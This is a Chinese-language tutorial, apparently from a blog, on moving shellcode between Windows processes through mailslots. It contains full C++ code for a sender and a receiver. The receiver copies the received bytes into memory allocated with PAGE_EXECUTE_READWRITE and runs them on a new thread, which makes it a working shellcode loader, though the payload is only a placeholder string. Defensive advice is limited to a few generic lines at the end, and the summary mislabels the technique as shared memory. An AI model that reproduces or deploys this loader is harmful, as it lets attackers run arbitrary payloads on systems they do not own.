C++ 邮件槽ShellCode跨进程传输
在计算机安全领域,进程间通信(IPC)一直是一个备受关注的话题。在本文中,我们将探讨如何使用Windows邮件槽(Mailslot)实现ShellCode的跨进程传输。邮件槽提供了一种简单而有效的单向通信机制,使得任何进程都能够成为邮件槽服务器,并通过UDP通信向其他进程发送数据。
邮件槽是Windows操作系统提供的一种用于本地进程间通信的机制。它允许一个进程创建一个命名的槽,并允许其他进程通过该槽向创建它的进程发送消息。在本文中,我们将使用邮件槽实现进程间的ShellCode传输。如果需要双向通信或更复杂的通信需求,需要考虑其他IPC机制,例如命名管道、套接字等。
服务端部分
服务端端部分的实现非常简单,通过使用MAIL_SLOT_NAME 可以定义邮件槽的名称,该名称用于标识服务端和客户端之间的邮件槽。这是一个字符串常量,按照 Windows 命名约定的格式指定了邮件槽的路径。
让我来解释这个定义的具体含义:
\\\\.:表示本地计算机,即当前计算机的命名空间。mailslot:指定邮件槽的类型。Name:是你给邮件槽指定的名称,可以根据实际需要更改。
所以,整个路径 \\\\.\\mailslot\\Name 指代的是一个本地计算机上的邮件槽,其名称为 Name。这个路径会在创建和打开邮件槽时使用,确保两个进程使用相同的路径来通信。
在服务端创建邮件槽时,通过 CreateFile 函数中的 MAIL_SLOT_NAME 参数指定邮件槽的名称,确保服务端和客户端使用相同的名称来建立通信连接。
CreateFile
用于创建或打开文件、文件夹、邮件槽、管道等对象的句柄。在你提供的代码中,CreateFile 主要用于打开邮件槽,以便在服务端写入数据。
以下是 CreateFile 函数的一般形式:
HANDLE CreateFile(
LPCTSTR lpFileName,
DWORD dwDesiredAccess,
DWORD dwShareMode,
LPSECURITY_ATTRIBUTES lpSecurityAttributes,
DWORD dwCreationDisposition,
DWORD dwFlagsAndAttributes,
HANDLE hTemplateFile
);
参数说明:
lpFileName:指定文件或对象的名称,可以是一个路径、文件名或其他标识符。dwDesiredAccess:指定对文件的访问权限,例如GENERIC_READ、GENERIC_WRITE等。dwShareMode:指定共享模式,例如FILE_SHARE_READ、FILE_SHARE_WRITE等。lpSecurityAttributes:指定安全属性,通常设置为NULL。dwCreationDisposition:指定文件的创建或打开方式,例如OPEN_EXISTING、CREATE_NEW等。dwFlagsAndAttributes:指定文件或对象的属性,例如FILE_ATTRIBUTE_NORMAL。hTemplateFile:指定一个文件句柄,用于复制文件属性。
如上所示,我们只需要遵循邮件槽的创建流程并使用CreateFile创建通信,当需要传输邮件的时候可以直接调用WriteFile发送邮件,这是一个很好的功能,你可以发送邮件也可以发送各种你喜欢的乱七八糟的东西。
#include <windows.h>
#include <iostream>
using namespace std;
#define MAIL_SLOT_NAME "\\\\.\\mailslot\\Name"
char ShellCode[] = "此处是ShellCode";
int main(int argc, char* argv[])
{
HANDLE hWriteMailSlot = NULL;
while (TRUE)
{
hWriteMailSlot = CreateFile(MAIL_SLOT_NAME, GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
if (hWriteMailSlot == INVALID_HANDLE_VALUE)
continue;
else
break;
}
DWORD dwReturn = 0;
// 发送邮件槽
WriteFile(hWriteMailSlot, ShellCode, strlen(ShellCode), &dwReturn, NULL);
CloseHandle(hWriteMailSlot);
return 0;
}
客户端部分
为了实现通信,客户端部分也需要使用邮件槽,在MAIL_SLOT_NAME中指定相同的邮件名,通过CreateMailslot 函数,创建邮件槽(Mailslot),这是一种用于本地进程间通信的机制。邮件槽是一种命名的管道,用于在同一台计算机上的不同进程之间传递数据。
以下是 CreateMailslot 函数的一般形式:
HANDLE CreateMailslot(
LPCTSTR lpName,
DWORD nMaxMessageSize,
DWORD lReadTimeout,
LPSECURITY_ATTRIBUTES lpSecurityAttributes
);
参数说明:
lpName:指定邮件槽的名称,形如\\.\mailslot\your_mailslot_name。nMaxMessageSize:指定邮件槽中消息的最大大小。lReadTimeout:指定在读取数据时的超时时间(以毫秒为单位)。lpSecurityAttributes:指定邮件槽的安全属性,可以为NULL。
在代码中,CreateMailslot 用于创建邮件槽:
hReadMailSlot = CreateMailslot(MAIL_SLOT_NAME, 0, 0, NULL);
这行代码的作用是创建一个邮件槽,使用了预定义的邮件槽名称 MAIL_SLOT_NAME 作为参数,nMaxMessageSize 和 lReadTimeout 都设置为零,表示使用默认值。如果创建成功,hReadMailSlot 将获得一个有效的邮件槽句柄,可以用于后续的数据读取操作。
创建好链接之后接下来就可以通过GetMailslotInfo函数获取邮件了,当然了这个要死循环等待邮件,GetMailslotInfo 用于检查邮件槽的状态信息。它提供了有关邮件槽当前状态的信息,例如有多少消息在邮件槽中、每个消息的大小等。
以下是 GetMailslotInfo 函数的一般形式:
BOOL GetMailslotInfo(
HANDLE hMailslot,
LPDWORD lpMaxMessageSize,
LPDWORD lpNextSize,
LPDWORD lpMessageCount,
LPDWORD lpReadTimeout
);
参数说明:
hMailslot:邮件槽的句柄,通过CreateMailslot函数或CreateFile函数获得。lpMaxMessageSize:指向一个变量,用于接收邮件槽中单个消息的最大大小。lpNextSize:指向一个变量,用于接收下一个消息的大小。lpMessageCount:指向一个变量,用于接收邮件槽中当前的消息数目。lpReadTimeout:指向一个变量,用于接收在读取数据时的超时时间(以毫秒为单位)。
在你的代码中,GetMailslotInfo 用于获取邮件槽的信息:
bOk = GetMailslotInfo(hReadMailSlot, NULL, &cbMessage, &cMessage, NULL);
这行代码的作用是获取邮件槽 hReadMailSlot 的信息,其中 cbMessage 接收消息的大小,cMessage 接收消息的数量。这样的信息可以在接收方确定是否有待处理的消息,以及处理这些消息所需的空间。
一般来说当收到了新邮件之后可以直接使用ReadFile函数读出这段邮件,读出来的邮件就可以直接反弹了,如下代码所示;
#include <windows.h>
#include <iostream>
using namespace std;
#define MAIL_SLOT_NAME "\\\\.\\mailslot\\Name"
HANDLE hReadMailSlot = INVALID_HANDLE_VALUE;
DWORD WINAPI ReadMail()
{
hReadMailSlot = CreateMailslot(MAIL_SLOT_NAME, 0, 0, NULL);
if (hReadMailSlot == INVALID_HANDLE_VALUE)
{
return -1;
}
// 查看油槽的信息
DWORD cbMessage = 0, dwReturn = 0, cMessage = 0;
BOOL bOk = FALSE;
char ShellCode[4096] = { 0 };
while (TRUE)
{
bOk = GetMailslotInfo(hReadMailSlot, NULL, &cbMessage, &cMessage, NULL);
if (bOk == FALSE)
break;
if (cMessage == 0)
continue;
else
{
if (ReadFile(hReadMailSlot, ShellCode, cbMessage, &dwReturn, 0) == TRUE)
{
HANDLE hThread = NULL;
cout << ShellCode << endl;
// 注入ShellCode并执行
void* ptr = VirtualAlloc(0, sizeof(ShellCode), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
CopyMemory(ptr, ShellCode, sizeof(ShellCode));
hThread = CreateThread(0, 0, (LPTHREAD_START_ROUTINE)ptr, 0, 0, 0);
WaitForSingleObject(hThread, INFINITE);
}
}
}
}
int main(int argc, char* argv[])
{
HANDLE hReadThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)ReadMail, NULL, 0, NULL);
Sleep(INFINITE);
if (hReadMailSlot != INVALID_HANDLE_VALUE)
{
CloseHandle(hReadMailSlot);
}
return 0;
}
潜在风险和安全建议
虽然这种方法在本地攻击场景中有一定的巧妙性,但也存在潜在的风险。以下是一些建议:
- 防御共享内存滥用: 操作系统提供了一些机制,如使用 ACL(访问控制列表)和安全描述符,可以限制对共享内存的访问。合理配置这些机制可以减轻潜在的滥用风险。
- 加强系统安全策略: 使用强密码、及时更新系统和应用程序、启用防火墙等都是基础的系统安全策略。这些都有助于防止潜在的Shellcode攻击。
- 监控和响应: 部署实时监控和响应系统,能够及时检测到异常行为并采取相应措施,对于减缓潜在威胁的影响十分重要。
总结
本文介绍了通过共享内存传递Shellcode的方法,通过这种巧妙的本地攻击方式,两个进程可以在不直接通信的情况下相互传递Shellcode。然而,使用这种技术需要非常谨慎,以免被滥用用于不当用途。在实际应用中,必须谨慎权衡安全性和便利性,同时配合其他防御措施,确保系统的整体安全性。
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